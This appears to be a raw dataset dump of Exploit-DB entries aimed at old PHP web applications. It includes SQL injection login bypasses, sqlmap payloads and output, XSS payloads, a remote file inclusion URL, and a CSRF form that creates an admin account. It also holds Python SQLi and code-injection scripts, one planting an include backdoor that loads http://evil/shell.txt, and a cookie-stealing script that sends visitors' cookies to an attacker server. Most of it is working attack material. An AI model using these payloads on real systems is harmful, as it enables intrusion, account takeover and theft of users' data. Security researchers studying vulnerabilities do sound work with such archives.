deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18882
Description: b2ePms 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2012-05-15
Author: Jean Pascal Pereira

Exploit:
#################################################
b2ePMS 1.0 Authentication Bypass Vulnerability
#################################################

Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor Information:

"b2ePMS stands for Browser to Email Phone Message System. It is intended to replace the standard 
paper/carbon phone message slips commonly used in offices, with the capability of sending the message
 via a web browser form directly to the recipients inbox."

Vendor URI: https://developer.berlios.de/projects/b2epms/

#################################################
# Exploit-DB Note
# Loneferret
# The provided PoC doesn't not work.
# This does:
# Username: "' or 1=1 -- "
# Password: x

Issue: SQL Injection, Authentication Bypass

Risk level: High

=> The remote attacker has the possibility to execute arbitrary SQL Code.

=> The remote attacker is able to bypass the user authentication.

In verify-user.php, line 20:

-------------------------------------

$sql = mysql_query("SELECT * FROM b2epms_user WHERE username='$username' AND user_[CREDENTIAL_REDACTED]_passwd' AND activated='1' AND user_level='2'");
$login_check = mysql_num_rows($sql);
if($login_check > 0){
  while($row = mysql_fetch_array($sql)){
  foreach( $row AS $key => $val ){
    $$key = stripslashes( $val );
  }
    // Register session variables!
    session_register('userid');
    $_SESSION['userid'] = $user_level;
    mysql_query("UPDATE b2epms_user SET login_date=now() WHERE userid='$userid'"); $url = "Location: admin.php";
    header($url);
  }
}

-------------------------------------

Exploit / Proof Of Concept:

Perform a login with the following data:

Username: admin' OR '1='1
Password: x

-------------------------------------

#################################################
Exploit-DB #18935
Description: b2ePms 1.0 - Multiple SQL Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-27
Author: loneferret

Exploit:
# Title: b2ePMS 1.0 multiple SQLi Vulnerabilities
# Version: 1.0
# Author/Found by: loneferret
# Manifacturer/Software link: https://developer.berlios.de/projects/b2epms/
# Other vulnerability: http://www.exploit-db.com/exploits/18882/
 
# Date found: May 27th 2012
# Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23
 
# Vulnerability:
# Due to improper input sanitization, pretty much every conceivable parameter is 
# SQL injectable. Although to exploit many of these parameters, one needs to be logged
# in, but the main page (index.php) offers a form to send a recipient a message. 
# This form does not require authentication.
 
# Severity:
# Well if anyone actually uses this, I suppose it would be high. But if you're like me
# and just call the person back, you should be safe.
 
# As always you can have as much fun with this...
# I'm going to be lazy with this one and pretty much show sqlmap's info etc.

PoC:

Method = POST
Page: /index.php
Parameters effected:
  phone_number
  msg_caller
  phone_msg
  msg_options
  msg_recipients[]
  signed
Payload:phone_number=[SQLi]&msg_caller=[SQLi]&phone_msg=[SQLi]msg_options=[SQLi]&msg_recipients[]=[SQLi]&signed=[SQLi]&Submit=Send
 
 
Sqlmap:
---
Place: POST
Parameter: phone_number
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: phone_number=lGGf' AND (SELECT 4115 FROM(SELECT COUNT(*),CONCAT(0x3a6b6b653a,(SELECT (CASE WHEN
 (4115=4115) THEN 1 ELSE 0 END)),0x3a6775633a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY
 x)a) AND 'sTBK'='sTBK&msg_caller=BSdf&phone_msg=gFqd&msg_options=Please call&msg_recipients[]=test@test.com&
signed=LOCY&Submit=Send
---

Possible output:
[11:03:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL 5.0
[11:03:15] [INFO] fetching current database
[11:03:15] [INFO] heuristics detected web page charset 'ascii'
[11:03:15] [INFO] retrieved: b2epms
current database:    'b2epms'
Exploit-DB #29198
Description: b2evolution 1.8.2/1.9 - '_404_not_found.page.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-11-16
Author: lotto fischer

Exploit:
source: https://www.securityfocus.com/bid/21334/info

The b2evolution application is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects b2evolution versions 1.8.2 to 1.9 beta.

http://<www.example.com>/<b2epath>/inc/VIEW/errors/_404_not_found.page.php?baseurl=[XSS]&app_name=[XSS]
Exploit-DB #29199
Description: b2evolution 1.8.2/1.9 - '_410_stats_gone.page.php?app_name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-16
Author: lotto fischer

Exploit:
source: https://www.securityfocus.com/bid/21334/info
 
The b2evolution application is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
This issue affects b2evolution versions 1.8.2 to 1.9 beta.

http://<www.example.com>/<b2epath>/inc/VIEW/errors/_410_stats_gone.page.php?app_name=[XSS]
Exploit-DB #29200
Description: b2evolution 1.8.2/1.9 - '_referer_spam.page.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-11-16
Author: lotto fischer

Exploit:
source: https://www.securityfocus.com/bid/21334/info
  
The b2evolution application is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
This issue affects b2evolution versions 1.8.2 to 1.9 beta.

http://<www.example.com>/<b2epath>/inc/VIEW/errors/_referer_spam.page.php?ReqURI=[XSS]&app_name=[XSS]
Exploit-DB #2864
Description: b2evolution 1.8.5 < 1.9b - 'import-mt.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-29
Author: tarkus

Exploit:
Severity: High
 Title: b2evolution Remote File inclusion Vulnerability
 Date: 28.11.06
 Author: tarkus (tarkus (at) tiifp (dot) org)
 Web: https://tiifp.org/tarkus
 Vendor: b2evolution (http://b2evolution.net/)
 Affected Product(s): b2evolution 1.8.5 - 1.9 beta
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Description:
------------

Line 67 of import-mt.php (blogs/inc/CONTROL/imports):

>
>require_once $inc_path.'MODEL/files/_file.funcs.php';
>



PoC:
----

http://<victim>/<b2epath>/inc/CONTROL/imports/import-mt.php?basepath=foo&inc_path=https://tiifp.org/tarkus/PoC/

register_globals and allow_url_fopen have to be On


Workaround:
-----------

Put the following line at the beginning of the file.

if( !defined('EVO_MAIN_INIT') ) die( 'Please, do not access this page \
directly.' );



Vendor Response:
----------------

Reported to Vendor:     10.11.06
Vendor response:        10.11.06
Patch in CVS:           10.11.06

# milw0rm.com [2006-11-29]
Exploit-DB #14289
Description: b2evolution 3.3.3 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-07-09
Author: saudi0hacker

Exploit:
----------------------------------------------------------------------------
: # Exploit Title: b2evolution 3.3.3  Cross site request forgery           :
: # Date: 05/07/2010  & 23/07/1431 H                                       :
: # Author: saudi0hacker                                                   :  
: # Software Link: http://b2evolution.net/downloads/index.html             :
: # Version: 3.3.3                                                         :
: # Tested on: Linux os                                                    : 
: # Greetz to : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com   :
----------------------------------------------------------------------------

<html>
<body onload="document.forms['admin'].submit();">
<form name="admin" method="post" action="http://localhost/b2/blogs/admin.php?ctrl=users&user_ID=0&&action=userupdate">  <!-- >> edit the action -->
<input  type="hidden" name="edited_user_grp_ID" value="1">
<input  type="hidden" name="edited_user_firstname">
<input  type="hidden" name="edited_user_locale"> 
<input  type="hidden" name="edited_user_url" >
<input  type="hidden" name="edited_user_icq" >
<input  type="hidden" name="edited_user_aim" >
<input  type="hidden" name="edited_user_msn" >
<input  type="hidden" name="edited_user_yim">
<input  type="hidden" name="edited_user_admin_skin" >
<input  type="hidden" name="edited_user_action_icon_threshold" value="1"  >
<input  type="hidden" name="edited_user_action_word_threshold" value="1"  >
<input  type="hidden" name="edited_user_legend" value="1" >
<input  type="hidden" name="edited_user_bozo" value="1" >
<input  type="hidden" name="edited_user_focusonfirst" value="1" >
<input  type="hidden" name="edited_user_results_per_page" >
<input  type="hidden" name="edited_user_level" value="1" >
<input  type="hidden" name="edited_user_validated"value="1" >
<input  type="hidden" name="edited_user_allow_msgform"value="1" >
<input  type="hidden" name="edited_user_notify"value="1" >
<input  type="hidden" name="edited_user_idmode">
<input  type="hidden" name="edited_user_idmode">

<! Dont edit before these line-->

<input  type="hidden" name="edited_user_email" value="hackededdd@hacked.com" />
<input  type="hidden" name="edited_user_login" value="hackederddd" >
<input  type="hidden" name="edited_user_lastname" value="hackederddd">
<input  type="hidden" name="edited_user_nickname" value="hackederddd">
<input  type="hidden" name="edited_user_pass1"    value="hackederddd"/>
<input  type="hidden" name="edited_user_pass2"    value="hackederddd"/>
<! Coded By Saudi0hacker -->
</form>
Exploit-DB #16989
Description: b2evolution 4.0.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-16
Author: AutoSec Tools

Exploit:
Source: http://packetstormsecurity.org/files/view/99362/b2evolution403-xss.txt

------------------------------------------------------------------------
Software................b2evolution 4.0.3
Vulnerability...........Persistent Cross-site Scripting
Threat Level............Moderate (2/5)
Download................http://b2evolution.net/
Vendor Contact Date.....3/15/2011
Disclosure Date.........3/15/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A persistent cross-site scripting vulnerability in b2evolution 4.0.3
can be exploited to execute arbitrary JavaScript.


--Exploit--

Data submitted to the "Comment text" input of the blog comment form is
not properly santized. As a result, javascript can be executed
throughout the application (admin dashboard, admin comment full text
view, possibly other pages).


--PoC--

<?<a><script>alert(0)</script>
Exploit-DB #49551
Description: b2evolution 6.11.6 - 'plugin name' Stored XSS
Type: webapps
Platform: php
Date: 2021-02-10
Author: Soham Bakore

Exploit:
# Exploit Title: b2evolution 6.11.6 - 'plugin name' Stored XSS
# Date: 09/02/2021
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage: https://b2evolution.net/
# Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405
# Version: 6.11.6
# Tested on: latest version of Chrome, Firefox on Windows and Linux
# CVE : CVE-2020-22841


--------------------------Proof of Concept-----------------------

1. Login with an account having high privileges  
2. Navigate to System -> Plugins and select any plugin
3. Change the plugin name and enter the following payload  "><svg/onload=alert(123)> in the name parameter
4. Payload gets stored in the database
5. The payload gets executed after the victim checks the plugin page.
6. This vulnerability needs high privilege and can affect other users with similar privileges
Exploit-DB #49554
Description: b2evolution 6.11.6 - 'redirect_to' Open Redirect
Type: webapps
Platform: php
Date: 2021-02-11
Author: Nakul Ratti

Exploit:
# Exploit Title: b2evolution 6.11.6 - 'redirect_to' Open Redirect
# Date: 10/02/2021
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage: https://b2evolution.net/
# Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405
# Version: 6.11.6
# Tested on: latest version of Chrome, Firefox on Windows and Linux
# CVE : CVE-2020-22840


--------------------------Proof of Concept-----------------------


1. Send the following link : http://127.0.0.1/htsrv/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Fgoogle.com to the unsuspecting user
2. The user will be redirected to Google.com or any other attacker controlled domain
3. This can be used to perform malicious phishing campaigns on unsuspecting users
Exploit-DB #49555
Description: b2evolution 6.11.6 - 'tab3' Reflected XSS
Type: webapps
Platform: php
Date: 2021-02-11
Author: Nakul Ratti

Exploit:
# Exploit Title: b2evolution 6.11.6 - 'tab3' Reflected XSS
# CVE: CVE-2020-22839
# Date: 10/02/2021
# Exploit Author: Nakul Ratti, Soham Bakore
# Vendor Homepage: https://b2evolution.net/
# Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405
# Version: 6.11.6
# Tested on: latest version of Chrome, Firefox on Windows and Linux

--------------------------Proof of Concept-----------------------

Steps to Reproduce:

1. Send the following URL http://HOST/evoadm.php?.ctrl=comments&filter=restore&tab3=123%22onmouseover=%22alert(document.domain)%22&blog=1&blog=1 to the logged in victim using any social engineering technique.
2. When an unsuspecting user with high privileges opens this URL, XSS will be triggered  which will execute the malicious javascript payload in users browser.
3. The vulnerable parameter in this case is “tab3”.
Exploit-DB #49840
Description: b2evolution 7-2-2 - 'cf_name' SQL Injection
Type: webapps
Platform: php
Date: 2021-05-06
Author: nu11secur1ty

Exploit:
# Exploit Title: b2evolution 7-2-2 - 'cf_name' SQL Injection 
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 05.06.2021
# Vendor: https://b2evolution.net/
# Link: https://b2evolution.net/downloads/7-2-2
# CVE: CVE-2021-28242
# Proof: https://streamable.com/x51kso

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-28242


from selenium import webdriver
import time


# Vendor: https://typo3.org/
website_link="
http://192.168.1.3/b2evolution/index.php?disp=login&redirect_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&return_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&source=menu%20link"

# enter your login username
username="admin"

# enter your login password
[CREDENTIAL_REDACTED]"

#enter the element for username input field
element_for_username="x"

#enter the element for password input field
element_for_password="q"

#enter the element for submit button
element_for_submit="login_action[login]"


browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit vulnerability MySQL obtain sensitive database information by
injecting SQL commands into the "cf_name" parameter
time.sleep(7)
# Receaving sensitive info for evo_users
browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT+*+FROM+%60evo_users%60+ORDER+BY+%60evo_&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))

time.sleep(7)
# Receaving sensitive info for evo_blogs
browser.get(("
http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_blogs`%20ORDER%20BY%20`evo_blogs`.`blog_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))

time.sleep(7)
# Receaving sensitive info for evo_section
browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_section`%20ORDER%20BY%20`evo_section`.`sec_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))


time.sleep(7)
browser.close()


print("At the time, of the exploit, you had to see information about the
tables...\n")



except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, your exploit is not working for some reasons...")
Exploit-DB #11346
Description: Baal Systems 3.8 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-02-07
Author: cr4wl3r

Exploit:
[+] Baal Systems <= 3.8 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>

[+] Vuln Code : 

[adminlogin.php]

<?php
include("common.php");
if (!empty($_POST['password'])) {
	$username = $_POST['username'];
    $password = $_POST['password'];

    $query = "select * from {$tableprefix}tbluser where username='" . $username . "' and password='" . $password . "' and userrole='admin';";
    $result1 = db_query($query);
    $rows = db_num_rows($result1);
    $row = db_fetch_array($result1);
    if ($rows != 0) {
        if (session_is_registered("whossession")) {
            $_SESSION['who'] = "admin";
            $_SESSION['userrole'] = "admin";
            $_SESSION['username'] = $username;
            $_SESSION['usernum'] = $row["userid"];
            header("location:admin.php");
        } else {
            session_register("whossession");
            $_SESSION['who'] = "admin";
            $_SESSION['userrole'] = "admin";
            $_SESSION['username'] = $username;
            $_SESSION['usernum'] = $row["userid"];
            header("location:admin.php");
        } 
    } else {
        header("location:adminlogin.php?error=yes");
    } 
} else {

    ?>

[+] PoC : 

[BaalSystems_path]/adminlogin.php


username: ' or' 1=1
Password: ' or' 1=1
Exploit-DB #9445
Description: BaBB 2.8 - Remote Code Injection
Type: webapps
Platform: php
Date: 2009-08-18
Author: Khashayar Fereidani

Exploit:
#!usr/bin/python
#####################################################################################
####                   BaBB 2.8 Full Code Injection Exploit                      ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://IrCrash.com                                                      #
#My Official WebSite : http://R3dW0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://sunet.dl.sourceforge.net/project/babb/BaBB%20Full/BaBB%202.8/BaBB_2.8_full.zip
#                                                                                   #
#Dork :  :(                                                                           #
#                                                                                   #
###################################### TNX GOD ######################################
import sys,urllib
if len(sys.argv) < 2 :
    print "Powered by : R3d.W0rm"
    print "http://IrCrash.com - http://R3dW0rm.ir"
    print "Usage : expl.py http://[target]/[path]"
    exit()
data = urllib.urlopen(sys.argv[1] + '/antworten.php?send=true&code=/../../../BaBB.php&name=<?php%20if($_GET[\'t\']==1){include%20$_GET[\'f\'];}/*').read()
if data != '' :
    print "Powered by : R3d.W0rm"
    print "http://IrCrash.com - http://R3dW0rm.ir\n\r"
    print sys.argv[1]  + "/BaBB.php?t=1&f=http://evil/shell.txt"
    exit()
print 'Attack failed.'

# milw0rm.com [2009-08-18]
Exploit-DB #7475
Description: BabbleBoard 1.1.6 - Cross-Site Request Forgery/Cookie Grabber
Type: webapps
Platform: php
Date: 2008-12-15
Author: SirGod

Exploit:
############################################################################################
[+] BabbleBoard v1.1.6 Cookie Grabber Exploit/CSRF
[+] Discovered By SirGod
[+] Greetz : All my friends
############################################################################################

[+] Cookie Grabber Exploit

  - Steal the cookie of any visitor.

1.Register as :

<script>document.location
="http://[yourdomain]/[path]/stealer.php?cookie=" +
document.cookie;</script>

Everyone who visit the index page will be redirected on your cookie
grabber. (because you will be the Latest Member)

Be sure that you use " and not ' because is forbbiden to use that char
is your username.

2 . In stealer.php use the following code (simple cookie grabber)

<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

Make sure that you have in the stealer.php directory a file log.txt .
For stealed cookies check log.txt .

3 . You will grab every visitor cookie .

Example (cookie) of a not logged in user :

PHPSESSID=gtolfce6jppb4oasfm81efrqf6

Example (cookie) of a logged in user (admin) :

bb_name=admin; bb_[CREDENTIAL_REDACTED];
PHPSESSID=gtolfce6jppb4oasfm81efrqf6

Username is bb_name.Password is bb_password and is hashed as md5.

[+] Cross Site Request Forgery

If a logged in user with administrative permissions click one of the
following links the specified action will be executed.

- Delete category

http://127.0.0.1/[path]index.php?page=admin&act=categories&func=delete&id=[CatID]

http://127.0.0.1/[path]index.php?page=admin&act=categories&func=delete&id=5

- Delete group

http://127.0.0.1/[path]index.php?page=admin&act=groups&func=delete&id=[GroupID]

http://127.0.0.1/[path]index.php?page=admin&act=groups&func=delete&id=2

- Ban User

http://127.0.0.1/[path]index.php?page=admin&act=members&func=ban&id=[UserID]

http://127.0.0.1/[path]index.php?page=admin&act=members&func=ban&id=4

- Delete User

http://127.0.0.1/[path]index.php?page=admin&act=members&func=delete&id=[UserID]

http://127.0.0.1/[path]index.php?page=admin&act=members&func=delete&id=4

############################################################################################

# milw0rm.com [2008-12-15]